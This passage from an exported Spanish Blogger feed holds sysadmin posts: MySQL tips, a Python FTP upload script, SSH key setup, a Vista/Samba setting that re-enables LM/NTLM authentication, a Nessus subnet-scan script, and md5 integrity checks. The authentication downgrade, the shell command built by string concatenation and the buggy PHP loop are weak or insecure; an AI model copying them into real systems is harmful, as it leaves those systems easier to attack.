/&gt;&amp;#160;&amp;#160;&amp;lt;/device&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/deviceinfo&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-5833644044552968162?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/5833644044552968162/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=5833644044552968162' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/5833644044552968162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/5833644044552968162'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2009/09/tras-la-reciente-compra-de-mi-ultimo.html' title='Ubuntu 9.04 (Jaunty) en Macbook Pro 5,5'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-2492141891643868302</id><published>2008-10-30T02:04:00.004+01:00</published><updated>2008-10-30T02:29:03.164+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opendomo'/><category scheme='http://www.blogger.com/atom/ns#' term='domótica'/><title type='text'>Domótica OpenSource = OpenDomo</title><content type='html'>Desde hace unos meses estamos trabajando en un proyecto totalmente OpenSource cuyo objetivo es el de proporcionar una solución libre de domótica. Desde aquí os quiero animar a que lo probéis y, si tenéis algo de tiempo, colaborar en lo que sea. El sistema se basa en una distro completamente hecha desde 0 la cuál está pensada para correr en sistemas muy pequeños. El software está escrito en C y shell script. Si queréis más información podéis visitar la página del proyecto: &lt;a href="http://www.opendomo.org"&gt;www.opendomo.org&lt;/a&gt; y en Google Code: &lt;a href="http://code.google.com/p/opendomo"&gt;http://code.google.com/p/opendomo&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Os paso la introducción del proyecto para que os hagáis una idea:&lt;br /&gt;&lt;br /&gt;El proyecto OpenDomo se inició en 2006 con el objetivo de crear un sistema de control domótico libre que cubriese las necesidades de un hogar del futuro. Actualmente el proyecto OpenDomo se encuentra todavía en una fase inicial de desarrollo, aunque sus funcionalidades y su estabilidad aumentan cada día.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;¿Qué es OpenDomo?&lt;br /&gt;&lt;br /&gt;OpenDomo es un sistema de control domótico y seguridad pensado para ofrecer una alternativa libre al hogar del futuro. La licencia bajo la que se está desarrollando el proyecto es la Licencia Pública General (GPL.) . Ésta, garantiza la libertad en el uso del software, uno de los principales valores de la sociedad tecnológica actual. En términos generales, esto implica que OpenDomo puede ser usado, copiado, modificado y distribuido libremente.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Objetivos del proyecto&lt;br /&gt;&lt;br /&gt;OpenDomo surge ante la necesidad de disponer de un software avanzado de domótica, que permita un control total del hogar, integrando hardware de fabricantes diferentes. Por lo que el objetivo principal consiste en disponer de un sistema que permita manipular desde un punto central cualquier elemento susceptible de ser controlado electrónicamente. Por ejemplo, todo tipo de sensores, el sistema de alarma, el circuito cerrado de TV, el sistema multimedia (audio, vídeo, TV, ...), las luces, las persianas, el horno, etc.&lt;br /&gt;&lt;br /&gt;Una de las formas más extendidas de aplicar la domótica consiste en el uso de hardware especializado. Algunos fabricantes han desarrollado hardware que usa protocolos propios y cerrados, lo que impide la ampliación o mejora de estos productos por terceras partes. Otros, han desarrollado hardware que usa protocolos abiertos ampliamente usados, como KNX/EIB o X10, pero muy limitados.&lt;br /&gt;&lt;br /&gt;OpenDomo intenta salir del esquema basado en hardware y protocolos desfasados que no permiten cumplir con las necesidades del hogar actual. De esta manera, se implementa una red domótica basada en TCP/IP y en hardware estándard. TCP/IP es un conjunto de protocolos de amplio uso que forman Internet y que permiten el uso de todo tipo de tecnologías de actualidad, como streaming de audio/video, telefonía IP, compartición de archivos o televisión p2p, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-2492141891643868302?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/2492141891643868302/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=2492141891643868302' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/2492141891643868302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/2492141891643868302'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2008/10/domtica-opensource-opendomo.html' title='Domótica OpenSource = OpenDomo'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-46180609670184702</id><published>2008-02-20T00:58:00.005+01:00</published><updated>2008-10-30T02:30:36.524+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='optimizar mysql'/><title type='text'>MySql :: Tips de Optimización</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Estas son unas recomendaciones básicas para mejorar el rendimiento de MySQL y que se hacen vitales cuando tratamos con grandes cantidades de información:&lt;br /&gt;&lt;br /&gt;1) Evitar utilizar el tipo de dato BIGINT y utilizar en su lugar INT. Para conocer el tipo de dato recomendado por MySql podemos utilizar la siguiente consulta:&lt;br /&gt;&lt;br /&gt;SELECT id_comercio FROM bbdd.comercios PROCEDURE ANALYSE()\G&lt;br /&gt;&lt;br /&gt;La cual nos devuelve el tipo de dato óptimo en el campo "Optimal_fieldtype".&lt;br /&gt;&lt;br /&gt;2) Es importante evitar que los tipos de dato numéricos se traten como "Strings" en las sentencias.&lt;br /&gt;Por ejemplo:&lt;br /&gt;&lt;br /&gt;- Incorrecto: SELECT COUNT(*) FROM bbdd.pedidos WHERE id_pedido='10';&lt;br /&gt;&lt;br /&gt;- Correcto: SELECT COUNT(*) FROM bbdd.pedidos WHERE id_pedido = 10;&lt;br /&gt;&lt;br /&gt;- Incorrecto: INSERT INTO tabla_x VALUES ('94','1','99');&lt;br /&gt;&lt;br /&gt;- Correcto: INSERT INTO tabla_x VALUES (94, 1, 99);&lt;br /&gt;&lt;br /&gt;Puede parecer bastante insignificante pero cuando hablamos de millares de consultas o más, estamos obligando al servidor MySql a hacer un CAST de String a Entero por consulta lo cual, nos lo podemos ahorrar.&lt;br /&gt;&lt;br /&gt;3) NO crear índices si el valor que vamos a guardar tiene menos de 20 posibles variantes.&lt;br /&gt;Ejemplos:&lt;br /&gt;&lt;br /&gt;- NO crear índices en campos del tipo 0/1 o boleanos.&lt;br /&gt;- NO crear índices en campos cuyo calor sea un rango de números del 1 al 10.&lt;br /&gt;&lt;br /&gt;4) Es muy aconsejable utilizar la sentencia EXPLAIN en todas las consultas para saber si estamos utilizando correctamente los índices o en caso contrario, el servidor está haciendo un "table scan". Es importante saber que aunque especifiquemos índices en la cláusula WHERE, MySql no tiene por qué utilizarlos si no lo ve conveniente.&lt;br /&gt;&lt;br /&gt;5) No utilizar funciones de tipo NOW o CURDATE ya que las consultas que las utilizan NO las guardan en CACHE.&lt;br /&gt;&lt;br /&gt;6) Si se realizan cargas de datos en tablas, es mejor utilizar Inserts múltiples: INSERT INTO bbdd.tabla (campo1,campo2) VALUES (1,2),(3,2),(3,6).&lt;br /&gt;&lt;br /&gt;Ejemplo en PHP:&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;$sQuery = "SELECT campo1, campo2 FROM tabla";&lt;br /&gt;$iIdQuery = mysql_query($sQuery, $iIdConn);&lt;br /&gt;&lt;br /&gt;foreach(mysql_fetch_row($iIdQuery) as $aValue)&lt;br /&gt;{&lt;br /&gt;      $aValues[] = "(".$aValue['campo1'].",".$aValue['campo2'].")";&lt;br /&gt;}&lt;br /&gt;$sQueryInsert = "INSERT INTO tabla2 (campo1, campo2) VALUES ". implode(",",$aValues);&lt;br /&gt;&lt;br /&gt;mysql_query($sQueryInsert,$iIdConn);&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Espero que os sean de utilidad. En cuanto recopile otra lista volveré a postearlos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-46180609670184702?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/46180609670184702/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=46180609670184702' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/46180609670184702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/46180609670184702'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2008/02/mysql-tips-de-optimizacin.html' title='MySql :: Tips de Optimización'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-3046313782019146179</id><published>2008-02-17T00:15:00.006+01:00</published><updated>2008-10-30T02:31:46.440+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='desarrollo web'/><category scheme='http://www.blogger.com/atom/ns#' term='gnu'/><category scheme='http://www.blogger.com/atom/ns#' term='ftp'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Python :: Subir Ficheros a FTP</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Después de tantos meses, publico un pequeño script que me es muy útil: Sube automáticamente los ficheros modificados al FTP que le especifiquéis. Que conste que soy un novato en Python! Ahí va:&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;#!/usr/bin/env python&lt;br /&gt;# coding: iso-8859-15&lt;br /&gt;&lt;br /&gt;import os&lt;br /&gt;import sys&lt;br /&gt;import ftplib&lt;br /&gt;&lt;br /&gt;# Configuración&lt;br /&gt;&lt;br /&gt;project_path = "/path/to/project"&lt;br /&gt;ftp_project_path = "/public_html"&lt;br /&gt;ftpsite = "ftp.site.com"&lt;br /&gt;ftpusr = "ftpuser"&lt;br /&gt;ftppass = "ftppassword"&lt;br /&gt;mnmin = 120&lt;br /&gt;file_types = "[php|htm|html|js]"&lt;br /&gt;&lt;br /&gt;# Funciones&lt;br /&gt;&lt;br /&gt;def upload(conn, fname):&lt;br /&gt;   global ftp_project_path, project_path, path_len&lt;br /&gt;&lt;br /&gt;   dir_len = len(fname)&lt;br /&gt;   file2stor = fname[path_len:]&lt;br /&gt;   (dir, tail) = os.path.split(file2stor)&lt;br /&gt;   dir2stor = ftp_project_path+dir&lt;br /&gt;   command = "STOR " + tail&lt;br /&gt;&lt;br /&gt;   conn.cwd(dir2stor)&lt;br /&gt;   print "Almacenando en: "+dir2stor&lt;br /&gt;&lt;br /&gt;   fd = open(fname, 'rb')&lt;br /&gt;   temp = fd.read(2048)&lt;br /&gt;   fd.seek(0, 0)&lt;br /&gt;   if temp.find('\0') != -1:&lt;br /&gt;       conn.storbinary(command, fd)&lt;br /&gt;   else:&lt;br /&gt;       conn.storlines(command, fd)&lt;br /&gt;   fd.close()&lt;br /&gt;&lt;br /&gt;def connect(site,usr,pwd):&lt;br /&gt;   conn = ftplib.FTP(site)&lt;br /&gt;   conn.login(user=usr, passwd=pwd)&lt;br /&gt;   return conn&lt;br /&gt;&lt;br /&gt;# Inicio del script&lt;br /&gt;&lt;br /&gt;conn = connect(ftpsite,ftpusr,ftppass)&lt;br /&gt;path_len = len(project_path)&lt;br /&gt;&lt;br /&gt;for file in os.popen("/usr/bin/find "+project_path+" -type f -regex '.*."+file_types+"' -mmin -"+str(mnmin)).readlines():&lt;br /&gt;   file = file.strip()&lt;br /&gt;       print "Subiendo online el fichero ["+file+"]"&lt;br /&gt;   upload(conn,file)&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Espero que os sea útil. Básicamente sube al directorio del FTP que le especifiquéis los ficheros modificados con la extensión &lt;span style="font-style: italic;"&gt;file_types&lt;/span&gt; en las últimas 2 horas.&lt;br /&gt;&lt;br /&gt;A10!&lt;br /&gt;&lt;br /&gt;PD: Tener en cuenta que python utiliza la identación para englobar las funciones, bucles, condicionales, etc... y que el blogger este se come las tabulaciones!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-3046313782019146179?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/3046313782019146179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=3046313782019146179' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/3046313782019146179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/3046313782019146179'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2008/02/python-subir-ficheros-ftp.html' title='Python :: Subir Ficheros a FTP'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-2651953728459554102</id><published>2007-03-08T15:57:00.000+01:00</published><updated>2007-03-08T16:00:59.759+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='confianza'/><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='pública'/><category scheme='http://www.blogger.com/atom/ns#' term='anillo'/><category scheme='http://www.blogger.com/atom/ns#' term='clave'/><title type='text'>Anillo de confianza SSH</title><content type='html'>Si estáis hartos de introducir la contraseña cada vez que accedéis a un servidor mediante ssh,&lt;br /&gt;podéis evitarlo siguiendo estos sencillos pasos para crear un anillo de confianza en ssh.&lt;br /&gt;&lt;br /&gt;1 - Generar la clave pública, que identificará a nuestro equipo y usuario. Esto se hace mediante el siguiente comando:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;skarvin@skarvin-desktop:~&gt;ssh-keygen -t rsa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;*No hace falta responder a las preguntas.&lt;br /&gt;&lt;br /&gt;2 - Importar la clave en el equipo donde queramos conectarnos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;skarvin@skarvin-desktop:~&gt;scp .ssh/id_rsa.pub skarvin@server:.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3 - Añadir la clave en el fichero authorized_keys&lt;br /&gt;Si no existe, crearemos el fichero .ssh/authorized_keys en vuestra home mediante:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;skarvin@server:~&gt;touch .ssh/authorized_keys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y a continuación añadiremos al fichero nuestra clave pública creada anteriormente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;skarvin@server:~&gt;cat id_rsa.pub &gt; .ssh/authorized_keys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Eso es todo!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-2651953728459554102?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/2651953728459554102/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=2651953728459554102' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/2651953728459554102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/2651953728459554102'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2007/03/anillo-de-confianza-ssh.html' title='Anillo de confianza SSH'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-116975414010874596</id><published>2007-01-25T20:42:00.000+01:00</published><updated>2007-01-25T20:43:15.376+01:00</updated><title type='text'>Windows Vista &amp; Samba</title><content type='html'>Para poder autenticar un cliente Windows Vista contra un servidor Samba necesitamos cambiar la configuración del cliente Vista que por defecto, no nos deja acceder a recursos compartidos por un servidor Unix/Samba. Los pasos son los siguientes:&lt;br /&gt;&lt;br /&gt;Ir a: &lt;br /&gt;Inicio -&gt; Ejecutar -&gt; secpol.msc&lt;br /&gt;&lt;br /&gt;Nos aparecerá la siguiente pantalla:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/5691/3125/1600/818088/1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/5691/3125/320/999940/1.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A continuación seleccionaremos: &lt;span style="font-weight:bold;"&gt;Network Security: LAN Manager authentication level&lt;/span&gt; y cambiaremos el valor por defecto: &lt;span style="font-style:italic;"&gt;Send NTLMv2 response only&lt;/span&gt; por &lt;span style="font-style:italic;"&gt;Send LM &amp; NTLM - use NTLMv2 session security if negotiated&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/5691/3125/1600/206735/2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/5691/3125/320/300787/2.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Samba no implementa NTLMv2 por lo tanto deberemos usarlo solo si se produce la negociación.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-116975414010874596?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/116975414010874596/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=116975414010874596' title='10 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/116975414010874596'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/116975414010874596'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2007/01/windows-vista-samba.html' title='Windows Vista &amp; Samba'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-116604831520555923</id><published>2006-12-13T23:17:00.000+01:00</published><updated>2006-12-13T23:18:35.880+01:00</updated><title type='text'>Be a pointer my friend</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/x/blogger/5691/3125/1600/376546/dennis_ritchie.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/x/blogger/5691/3125/320/856241/dennis_ritchie.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-116604831520555923?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/116604831520555923/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=116604831520555923' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/116604831520555923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/116604831520555923'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/12/be-pointer-my-friend.html' title='Be a pointer my friend'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115216989962105267</id><published>2006-07-06T09:10:00.001+02:00</published><updated>2008-10-30T02:34:25.328+01:00</updated><title type='text'>Linux :: Análisis de vulnerabilidades</title><content type='html'>Este script en perl, permite realizar un análisis de vulnerabilidades de nuestra subred y posteriormente envía un e-mail con el reporte de vulnerabilidades como adjunto. Es útil si queremos tener un sistema de Análisis de Vulnerabilidades programado para que se ejecute cada cierto tiempo. Tan solo hay que ajustar los parámetros de configuración y listo.&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;use MIME::Lite;&lt;br /&gt;&lt;br /&gt;# DATOS DE CONEXION&lt;br /&gt;$NESSUS_SERVER = "127.0.0.1";&lt;br /&gt;$NESSUS_PORT = 1241;&lt;br /&gt;$USER = "skarvin";&lt;br /&gt;$PASS = "password";&lt;br /&gt;&lt;br /&gt;# RUTA NESSUS&lt;br /&gt;$NESSUS = "/usr/local/bin/nessus";&lt;br /&gt;&lt;br /&gt;# RUTA FICHERO DE HOSTS A ANALIZAR&lt;br /&gt;$HOSTS = "targets.txt";&lt;br /&gt;&lt;br /&gt;# Formatos del fichero de salida&lt;br /&gt;# nbe, html, html_graph, text, xml, old-xml, tex, nsr&lt;br /&gt;$FORMAT = "html";&lt;br /&gt;&lt;br /&gt;# Ruta fichero de resultados&lt;br /&gt;$RESULTS = "results.html";&lt;br /&gt;&lt;br /&gt;system( "$NESSUS -q -T $FORMAT $NESSUS_SERVER $NESSUS_PORT" .&lt;br /&gt;     "-x $USER $PASS $HOSTS $RESULTS");&lt;br /&gt;&lt;br /&gt;# Envio de correo con reporte de vulnerabilidades en formato HTML&lt;br /&gt;&lt;br /&gt;$msg = MIME::Lite-&gt;new(&lt;br /&gt;From     =&gt;'mantenimiento@empresa.es',&lt;br /&gt;To       =&gt;'informatica@empresa.es',&lt;br /&gt;Subject  =&gt;'Informe de vulnerabilidades',&lt;br /&gt;Type     =&gt;'multipart/mixed'&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$msg-&gt;attach(&lt;br /&gt;Type     =&gt;'TEXT',&lt;br /&gt;Data     =&gt;"Informe de vulnerabilidades de Empresa"&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$msg-&gt;attach(&lt;br /&gt;Type     =&gt;'text/html',&lt;br /&gt;Path     =&gt;"$RESULTS",&lt;br /&gt;Filename =&gt;"$RESULTS",&lt;br /&gt;Disposition =&gt; 'attachment'&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$msg-&gt;send('smtp', 'mail.empresa.es');&lt;br /&gt;&lt;br /&gt;open CMD, "rm -f $RESULTS";&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115216989962105267?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115216989962105267/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115216989962105267' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115216989962105267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115216989962105267'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/07/linux-anlisis-de-vulnerabilidades.html' title='Linux :: Análisis de vulnerabilidades'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115167497450609723</id><published>2006-06-30T15:39:00.002+02:00</published><updated>2008-02-20T01:00:53.149+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='deteccion intrusos'/><category scheme='http://www.blogger.com/atom/ns#' term='tripwire'/><title type='text'>HIDS :: Detección de intrusos simple</title><content type='html'>A continuación se proponen 2 simples scripts para poder controlar las modificaciones en el sistema de ficheros de nuestro sistema.&lt;br /&gt;&lt;br /&gt;El primero nos hace un hash MD5 de cada fichero de los directorios que le especificamos, el script es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse; width: 447px; height: 398px;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;#!/bin/bash&lt;br /&gt;date&lt;br /&gt;md5sum_dir() {&lt;br /&gt;for file in `find $1`; do&lt;br /&gt;if test -f $file&lt;br /&gt;then&lt;br /&gt;md5sum $file&lt;br /&gt;fi&lt;br /&gt;done&lt;br /&gt;}&lt;br /&gt;md5sum_dir "/bin"&lt;br /&gt;md5sum_dir "/etc"&lt;br /&gt;md5sum_dir "/sbin"&lt;br /&gt;md5sum_dir "/usr/bin"&lt;br /&gt;md5sum_dir "/usr/sbin"&lt;br /&gt;md5sum_dir "/usr/etc"&lt;br /&gt;md5sum_dir "/boot"&lt;br /&gt;md5sum_dir "/var/www"&lt;br /&gt;md5sum_dir "/lib"&lt;br /&gt;md5sum_dir "/usr/lib"&lt;br /&gt;md5sum_dir "/usr/local/bin"&lt;br /&gt;date&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Guardaremos el script en &lt;span style="" lang="EN-GB"&gt;/usr/local/bin/integridad.sh y le daremos permisos de ejecución mediante: &lt;span style="font-style: italic;"&gt;chmod +x &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;" lang="EN-GB"&gt;/usr/local/bin/integridad.sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Una herramienta alternativa a este script es la proporcionada por The Coroner's Toolkit en la cual se puede reducir a esto:&lt;br /&gt;# md5deep -r /bin /var/ww /etc &gt; linux.md5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El segundo hará uso del primer script para obtener el hash de los ficheros y guardarlos en un fichero, &lt;span style="font-weight: bold;"&gt;comparará el fichero del día actual, con el del día anterior&lt;/span&gt; y enviará por correo electrónico las diferencias .&lt;br /&gt;&lt;br /&gt;NOTA: Este script es una modificación del comentado &lt;a href="http://skarvin.blogspot.com/2006/06/linux-envo-de-e-mails-mediante-perl.html"&gt;aquí.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(224, 224, 224) none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  